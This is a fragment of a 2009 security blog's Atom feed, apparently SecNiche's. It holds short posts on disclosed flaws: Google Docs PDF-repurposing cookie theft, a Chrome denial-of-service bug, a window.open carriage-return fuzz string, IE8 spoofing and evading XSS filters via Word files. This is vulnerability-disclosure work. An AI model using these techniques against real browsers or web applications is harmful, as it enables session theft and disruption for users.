/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3659645802717641222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3659645802717641222' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3659645802717641222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3659645802717641222'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/06/elsevier-is-your-system-pwned.html' title='Elsevier - Is Your System Pwned'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SjEFnTffPnI/AAAAAAAAAfc/7rhMgEqt4ZE/s72-c/els.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-3098767669957658387</id><published>2009-05-11T07:11:00.000-07:00</published><updated>2009-05-11T07:17:13.435-07:00</updated><title type='text'>Gmail/Google Doc PDF Repurposing Integrated Attacks - Cookie Hijacking / Stealing</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SggzYaq8dYI/AAAAAAAAAe8/zj2CHak62bQ/s1600-h/google_docs.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 116px; height: 109px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SggzYaq8dYI/AAAAAAAAAe8/zj2CHak62bQ/s320/google_docs.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5334570253189674370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SggzUjecfKI/AAAAAAAAAe0/dzahICJHyrY/s1600-h/gmail.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 98px; height: 72px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SggzUjecfKI/AAAAAAAAAe0/dzahICJHyrY/s320/gmail.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5334570186833689762" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Google docs network was vulnerable to PDF repurposing attacks. The vulnerability was disclosed to Google with a discretion. This was done to mitigate the risk. Google had worked over it and patched it with in a period of 5 days. &lt;br /&gt;&lt;br /&gt;The Google doc has been refined now and the integrated support for adobe plugin is removed. The user security was the prime issue because millions of user were at risk if this attack persisted in the open environment. Integrated accounts were more susceptible as certain stolen credentials could be used to access  accounts.&lt;br /&gt;&lt;br /&gt;The advisory is released here:&lt;br /&gt;&lt;a href="http://secniche.org/gmd_hijack/gc_hijack.xhtml"&gt;http://secniche.org/gmd_hijack/gc_hijack.xhtml&lt;/a&gt;&lt;br /&gt;&lt;a href="http://secniche.org/gmd_hijack/advisory_gmail_google_docs_pdf_repurposing_attack.pdf"&gt;http://secniche.org/gmd_hijack/advisory_gmail_google_docs_pdf_repurposing_attack.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-3098767669957658387?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/3098767669957658387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=3098767669957658387' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3098767669957658387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/3098767669957658387'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/05/gmailgoogle-doc-pdf-repurposing.html' title='Gmail/Google Doc PDF Repurposing Integrated Attacks - Cookie Hijacking / Stealing'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SggzYaq8dYI/AAAAAAAAAe8/zj2CHak62bQ/s72-c/google_docs.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7786982720665500138</id><published>2009-05-02T08:23:00.000-07:00</published><updated>2009-05-02T08:33:31.297-07:00</updated><title type='text'>Troopers 09 Security Conference</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_2r2SQhqglf4/SfxmG201MdI/AAAAAAAAAdM/RwvtuyAh57k/s1600-h/troopers09_logo_w_claim.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 232px; height: 114px;" src="http://3.bp.blogspot.com/_2r2SQhqglf4/SfxmG201MdI/AAAAAAAAAdM/RwvtuyAh57k/s320/troopers09_logo_w_claim.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5331248326882177490" /&gt;&lt;/a&gt; The troopers security conference is the one of the finest conference I have been to. Its very nice to have such conference in the heart of Germany. a great technical content and nice crew to discuss things and hang around :). I gave a talk on "Browser Design Flaws". There were some good talks around rootkits , malware for business purposes and web application firewall stuff. All talks were good and it was a great learning environment. Visit :&lt;a href="http://www.troopers09.org"&gt;Troopers09&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Personally I liked the Packet Wars Hacking Competition by Bryan. It was nicely organized. You can look at the stuff at : &lt;a href="http://www.packetwars.com"&gt;Packet Wars&lt;/a&gt; Good hacking games to enjoy.&lt;br /&gt;&lt;br /&gt;If you miss the fun you can have a look at the snaps here : &lt;a href="http://picasaweb.google.com/Adi.ZeroK"&gt;Troopers09 fun&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7786982720665500138?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7786982720665500138/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7786982720665500138' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7786982720665500138'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7786982720665500138'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/05/troopers-09-security-conference.html' title='Troopers 09 Security Conference'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_2r2SQhqglf4/SfxmG201MdI/AAAAAAAAAdM/RwvtuyAh57k/s72-c/troopers09_logo_w_claim.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2049200650006192800</id><published>2009-04-11T01:56:00.000-07:00</published><updated>2009-04-11T02:25:10.421-07:00</updated><title type='text'>Google Chrome Alert Single Thread Out of Bound Denial of Service Vulnerability</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SeBhKVkJwhI/AAAAAAAAAZQ/-cd2KyRcwfQ/s1600-h/google_chrome+spinning.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 164px; height: 142px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SeBhKVkJwhI/AAAAAAAAAZQ/-cd2KyRcwfQ/s320/google_chrome+spinning.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5323361589767291410" /&gt;&lt;/a&gt;&lt;br /&gt;The vulnerability reported to Google is not appropriately understood.There is more discussion required on it.  The vulnerability link is provided below:-&lt;br /&gt;&lt;br /&gt;&lt;a href="http://secniche.org/gcalrt.html"&gt;http://secniche.org/gcalrt.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The denial of service condition persists efficiently with the reported version.&lt;br /&gt;&lt;br /&gt;When this vulnerability is triggered , following output is undertaken:&lt;br /&gt;&lt;br /&gt;1. The browser gets in locked state and becomes unresponsive. The user&lt;br /&gt;can not perform any operation&lt;br /&gt;2. It is not only restricted to single tab but it impacts all the opened windows.&lt;br /&gt;3. Process killing is the only solution left.&lt;br /&gt;&lt;br /&gt;This works perfectly fine on Windows XP platform.&lt;br /&gt;&lt;br /&gt;Note: The new version of Google Chrome is also Vulnerable.&lt;br /&gt;&lt;br /&gt;All views are welcomed for any type of discussion.&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2049200650006192800?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2049200650006192800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2049200650006192800' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2049200650006192800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2049200650006192800'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/04/google-chrome-alert-single-thread-out.html' title='Google Chrome Alert Single Thread Out of Bound Denial of Service Vulnerability'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SeBhKVkJwhI/AAAAAAAAAZQ/-cd2KyRcwfQ/s72-c/google_chrome+spinning.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7168155643110056250</id><published>2009-03-31T21:51:00.000-07:00</published><updated>2009-05-09T23:19:06.077-07:00</updated><title type='text'>Browsers Behavior : Handling Carriage Return "window.open('\r\n\r\n');" JavaScript Calls</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_2r2SQhqglf4/SdL16vBibZI/AAAAAAAAAZI/DCYtOHqiLEw/s1600-h/browsers_dhtml.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 130px; height: 120px;" src="http://1.bp.blogspot.com/_2r2SQhqglf4/SdL16vBibZI/AAAAAAAAAZI/DCYtOHqiLEw/s320/browsers_dhtml.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5319584499282111890" /&gt;&lt;/a&gt;&lt;br /&gt;The carriage return and null characters are considered to be as a potential elements of testing behavior of various programs. This works efficiently with different browsers too. The resultant output is quite stringent in relation to the normal behavior that must be shown by the browsers. The Carriage Return (CR) encompass Line Feed and New Line characters as a basic part. As per the standard fact &lt;span style="font-style:italic;"&gt;&lt;br /&gt;&lt;br /&gt;"carriage return character, alone or with a line feed, to signal the end of a line of text, but other characters are also used for this function (see newline); others use it only for a paragraph break (a hard return)" &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Based on this fact a number of tests have been conducted on different browsers. These characters are passed as an argument to javascript:window.open() function  to notice the behavior of the new window. It can be used as one of the fuzzed input for testing browser dependencies. Based on this artifact one of the Google Chrome advisory was released. The links are mentioned below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.securityfocus.com/bid/31375"&gt;http://www.securityfocus.com/bid/31375&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.symantec.com/business/security_response/attacksignatures/detail.jsp?asid=23189"&gt;http://www.symantec.com/business/security_response/attacksignatures/detail.jsp?asid=23189&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://osvdb.org/show/osvdb/48680"&gt;http://osvdb.org/show/osvdb/48680&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.secniche.org/gcrds.html"&gt;http://www.secniche.org/gcrds.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That was the vulnerability noticed in Google Chrome and was patched by the vendor. The behavior that is noticed all the time with different browsers are:-&lt;br /&gt;&lt;br /&gt;1. Mozilla Firefox opens bundle of windows in single stretch.&lt;br /&gt;2. Google Chrome open number of windows too.&lt;br /&gt;&lt;br /&gt;Note: We are not considering loops here but only carriage return character. some stability has been added because presence of Pop UP blockers stops the execution&lt;br /&gt;of these child windows.&lt;br /&gt;&lt;br /&gt;We have noticed this differential responses from number of browsers. I think the CR is good element to be used for fuzzing. The browsers behavior is hard to control considering the issue presented above.&lt;br /&gt;&lt;br /&gt;Regards&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7168155643110056250?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7168155643110056250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7168155643110056250' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7168155643110056250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7168155643110056250'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/03/browsers-behavior-handling.html' title='Browsers Behavior : Handling Carriage Return &quot;window.open(&apos;\r\n\r\n&apos;);&quot; JavaScript Calls'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_2r2SQhqglf4/SdL16vBibZI/AAAAAAAAAZI/DCYtOHqiLEw/s72-c/browsers_dhtml.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-7532137899689947084</id><published>2009-03-25T11:39:00.000-07:00</published><updated>2009-03-25T11:43:20.737-07:00</updated><title type='text'>Internet Explorer 8 - Anti Spoofing is a Myth</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Scp63GJdD9I/AAAAAAAAAZA/JWnp9Xiox-Q/s1600-h/logo.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 140px; height: 140px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Scp63GJdD9I/AAAAAAAAAZA/JWnp9Xiox-Q/s320/logo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5317197397025951698" /&gt;&lt;/a&gt;With the new features implemented in IE 8, the status address bar has been transformed too. The new step taken by Microsoft IE team that is not to show the address of selected link in a status bar can have a serious impact. A user&lt;br /&gt;will not be able to see the active link in the status bar. This looks like to be an implementation of security solution with an obscurity. Status bar is required for Link Integrity check that assures a user about the legitimate website. We are&lt;br /&gt;not considering the ingrained vulnerabilities of status address bar spoofing in browsers at this point of time.&lt;br /&gt;&lt;br /&gt;For more details:- &lt;a href="http://secniche.org/ie_spoof_myth/"&gt;http://secniche.org/ie_spoof_myth/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-7532137899689947084?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/7532137899689947084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=7532137899689947084' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7532137899689947084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/7532137899689947084'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/03/internet-explorer-8-anti-spoofing-is.html' title='Internet Explorer 8 - Anti Spoofing is a Myth'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/Scp63GJdD9I/AAAAAAAAAZA/JWnp9Xiox-Q/s72-c/logo.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-1980784194233901940</id><published>2009-03-14T06:37:00.000-07:00</published><updated>2009-03-14T06:42:57.276-07:00</updated><title type='text'>Elsevier - NESE Journal - From Vulnerability to Patch</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/SbuzhH3C8WI/AAAAAAAAAY4/SfMGIP4I-Bw/s1600-h/elsv.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 66px; height: 70px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/SbuzhH3C8WI/AAAAAAAAAY4/SfMGIP4I-Bw/s320/elsv.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5313037567040614754" /&gt;&lt;/a&gt; Elsevier has published a new thought article on "From Vulnerability to Patch" in Network Security Journal. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.elsevierscitech.com/nl/ns/home.asp"&gt;http://www.elsevierscitech.com/nl/ns/home.asp&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As per the standards this Journal is not available freely , you need to subscribe it.&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-1980784194233901940?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/1980784194233901940/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=1980784194233901940' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1980784194233901940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/1980784194233901940'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/03/elsevier-nese-journal-from.html' title='Elsevier - NESE Journal - From Vulnerability to Patch'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/SbuzhH3C8WI/AAAAAAAAAY4/SfMGIP4I-Bw/s72-c/elsv.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4574872329546497766</id><published>2009-03-12T03:36:00.000-07:00</published><updated>2009-03-12T03:46:23.538-07:00</updated><title type='text'>Evading Web XSS Filters through Word (Microsoft Office and Open Office) in Enterprise Web Applications</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Sbjnv-qoXUI/AAAAAAAAAYw/TSz-VNWJYcE/s1600-h/marvel_investment3.png"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 257px; height: 170px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Sbjnv-qoXUI/AAAAAAAAAYw/TSz-VNWJYcE/s320/marvel_investment3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5312250571945172290" /&gt;&lt;/a&gt;&lt;br /&gt;This paper sheds light on the hyper linking issues observed during penetration testing of web based enterprise applications. This concept can be used to bypass standard XSS filters by creating a malicious Microsoft word document.&lt;br /&gt;&lt;br /&gt;Download the Paper at : &lt;a href="http://secniche.org/papers/SNS_09_01_Evad_Xss_Filter_Msword.pdf"&gt;HERE&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4574872329546497766?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4574872329546497766/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4574872329546497766' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4574872329546497766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4574872329546497766'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/03/evading-web-xss-filters-through-word.html' title='Evading Web XSS Filters through Word (Microsoft Office and Open Office) in Enterprise Web Applications'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_2r2SQhqglf4/Sbjnv-qoXUI/AAAAAAAAAYw/TSz-VNWJYcE/s72-c/marvel_investment3.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-2794964951916838433</id><published>2009-02-28T09:50:00.000-08:00</published><updated>2009-02-28T09:53:49.438-08:00</updated><title type='text'>Mapping HTTP Interface Embedded Devices</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_2r2SQhqglf4/Sal5w5yNAII/AAAAAAAAAYg/e3voRVCOV8I/s1600-h/hak10.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 73px; height: 104px;" src="http://4.bp.blogspot.com/_2r2SQhqglf4/Sal5w5yNAII/AAAAAAAAAYg/e3voRVCOV8I/s320/hak10.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5307907516884910210" /&gt;&lt;/a&gt;Hakin9 has published a new paper. This paper discusses the generic approach of detecting the HTTP interface of embedded devices. These devices perform a number of different functions based on the infrastructural need.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hakin9.org/prt/view/about-the-mag/issue/974.html"&gt;Check&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-2794964951916838433?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/2794964951916838433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=2794964951916838433' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2794964951916838433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/2794964951916838433'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/02/mapping-http-interface-embedded-devices.html' title='Mapping HTTP Interface Embedded Devices'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_2r2SQhqglf4/Sal5w5yNAII/AAAAAAAAAYg/e3voRVCOV8I/s72-c/hak10.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30098758.post-4617373182964770110</id><published>2009-02-28T09:35:00.000-08:00</published><updated>2009-02-28T09:44:43.524-08:00</updated><title type='text'>Informer - Hacking for Charity</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_2r2SQhqglf4/Sal30CcuQmI/AAAAAAAAAYY/JShtfebseVA/s1600-h/images.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 109px; height: 148px;" src="http://2.bp.blogspot.com/_2r2SQhqglf4/Sal30CcuQmI/AAAAAAAAAYY/JShtfebseVA/s320/images.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5307905371727086178" /&gt;&lt;/a&gt;Its matter of immense pleasure that researchers all over the world are getting collaborated together for the cause of charity. Be a part of it. Its a very good initiative by Johnny Long. We appreciate his concern and Secniche will be a pure part of it.&lt;br /&gt;&lt;br /&gt;This is a sincere request for all talent all around to play your part in it. &lt;br /&gt;&lt;br /&gt;About Informer:&lt;br /&gt;&lt;span style="font-style:italic;"&gt;"The Informer is a fund raising effort run by Hackers For Charity. It is designed to give subscribers a "backstage pass" to the world of Information Security."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://johnny.ihackstuff.com/HFC/Informer.html"&gt;Informer - Why?&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://johnny.ihackstuff.com/HFC/Hackers_For_Charity.html"&gt;Hackers for Charity&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Get on the same boat for a great cause.&lt;br /&gt;&lt;br /&gt;Regards&lt;br /&gt;0kn0ck&lt;div class="blogger-post-footer"&gt;[0kn0ck's Blog]&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30098758-4617373182964770110?l=zeroknock.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zeroknock.blogspot.com/feeds/4617373182964770110/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30098758&amp;postID=4617373182964770110' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4617373182964770110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30098758/posts/default/4617373182964770110'/><link rel='alternate' type='text/html' href='http://zeroknock.blogspot.com/2009/02/informer-hacking-for-charity.html' title='Informer - Hacking for Charity'/><author><name>SecNiche Security Labs</name><uri>http://www.blogger.com/profile/10592122467317696329</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_2r2SQhqglf4/TImuuwlSmRI/AAAAAAAAA0A/k29DlVVCFEc/S220/341px-S-Bahn-Logo.svg.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' 